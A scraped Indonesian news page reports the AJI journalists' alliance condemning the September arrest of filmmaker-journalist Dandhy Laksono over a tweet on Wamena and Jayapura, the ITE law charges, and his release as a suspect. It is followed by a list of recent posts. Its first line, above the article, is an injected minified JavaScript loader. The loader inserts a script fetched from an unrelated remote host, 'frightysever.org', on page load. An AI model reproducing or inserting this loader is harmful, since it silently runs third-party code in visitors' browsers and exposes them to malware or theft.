(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

AJI: Penangkapan Dandhy Laksono Bertentangan dengan Kebebasan Berekspresi


JAKARTA, Aliansi Jurnalis Independen (AJI) mengkritik penangkapan Dandhy Laksono oleh kepolisian. AJI menilai penangkapan Dandhy tidak berdasar.

“Penangkapan terhadap Dandhy ini bertentangan dengan kebebasan berekspresi dan berpendapat yang dijamin oleh konstitusi Indonesia,” ujar Sekjen AJI Indonesia, Revolusi Riza, dalam keterangannya, Jumat (27/9).

Berdasarkan kronologis YLBHI, Dandhy pada mulanya tiba di rumah sekitar pukul 22.30 WIB, Kamis (26/9). Selang 15 menit kemudian datang polisi menggedor-gedor rumah Dandhy membawa surat penangkapan. Polisi menangkap Dhandy karena cuitannya soal Papua yang diduga telah menimbulkan rasa kebencian, permusuhan individu dan atau kelompok masyarakat tertentu berdasarkan suku, agama, ras dan antargolongan (SARA).

Dandhy kini sudah dipulangkan. Namun AJI tetap meminta polisi membebaskan Dandhy dari segala tuntutan hukum. “Mendesak Polda Metro Jaya melepaskan Dandhy dengan segera dan membebaskannya dari segala tuntutan hukum,” ujar Riza.

Pihak pengacara sebelumnya mengatakan, Dandhy dilaporkan oleh polisi atas cuitannya. Saat diperiksa, Dandhy dicecar 44 pertanyaan.

“Ada sekitar 44 pertanyaan yang diajukan penyidik krimsus Polda Metro Jaya dan kasusnya ada karena laporan dari polisi sendiri tipe A, pelapor dari polisi,” ujar kuasa hukum Dandhy, Alghiffary Aqsa, saat dihubungi detik.com, Jumat (27/9).

Polda Metro Jaya belum memberi pernyataan mengenai kasus yang menjerat Dandhy.

Dandhy Laksono sempat ditangkap Polda Metro Jaya dan berstatus sebagai tersangka. Dandhy menjadi tersangka atas cuitannya soal rusuh di Wamena. “Twit 22 September terkait insiden di Jayapura dan Wamena. Hanya 1 twit yang dimasalahkan Polda Metro,” kata kuasa hukum Dandhy, Alghiffary Aqsa.

Kini, Dandhy sudah diperbolehkan pulang meski tetap berstatus tersangka. Dandhy ditangkap karena diduga melanggar Pasal 28 ayat (2), jo Pasal 45 A ayat (2) UU No.8 tahun 2016 tentang Informasi dan Transaksi Elektronik (ITE) dan/atau Pasal 14 dan Pasal 15 No.1 tahun 1946 tentang hukum pidana.

“Sudah diperbolehkan pulang tapi masih tersangka. Ada sekitar 44 pertanyaan yang diajukan penyidik krimsus Polda Metro Jaya dan kasusnya ada karena laporan dari polisi sendiri tipe A, pelapor dari polisi,” ujar Alghif.

Politikus PDIP Budiman Sudjatmiko juga membenarkan kabar dipulangkannya Dandhy. Ia sempat mendatangi Polda Metro saat Dandhy ditangkap. “Dandhy sudah pulang, tadinya saya dan teman-teman dari KontraS, dan lain-lain datang. Tadi malam saya dikasih tahu lewat WA, apakah benar Dandhy ditangkap terkait debat soal Papua dengan saya. Saya jelaskan dengan polisi terkait debat, ternyata tidak ada hubungan dengan debat,” ucap Budiman.

Dandhy ditangkap pada hari Kamis (26/9) malam. Ia ditangkap di kediamannya di Pondok Gede, Bekasi. (dkp/dtc)

Reporter : Dkp/dtc
Editor : Chell


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

6 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

9 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

15 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

15 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

18 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

22 jam ago

This website uses cookies.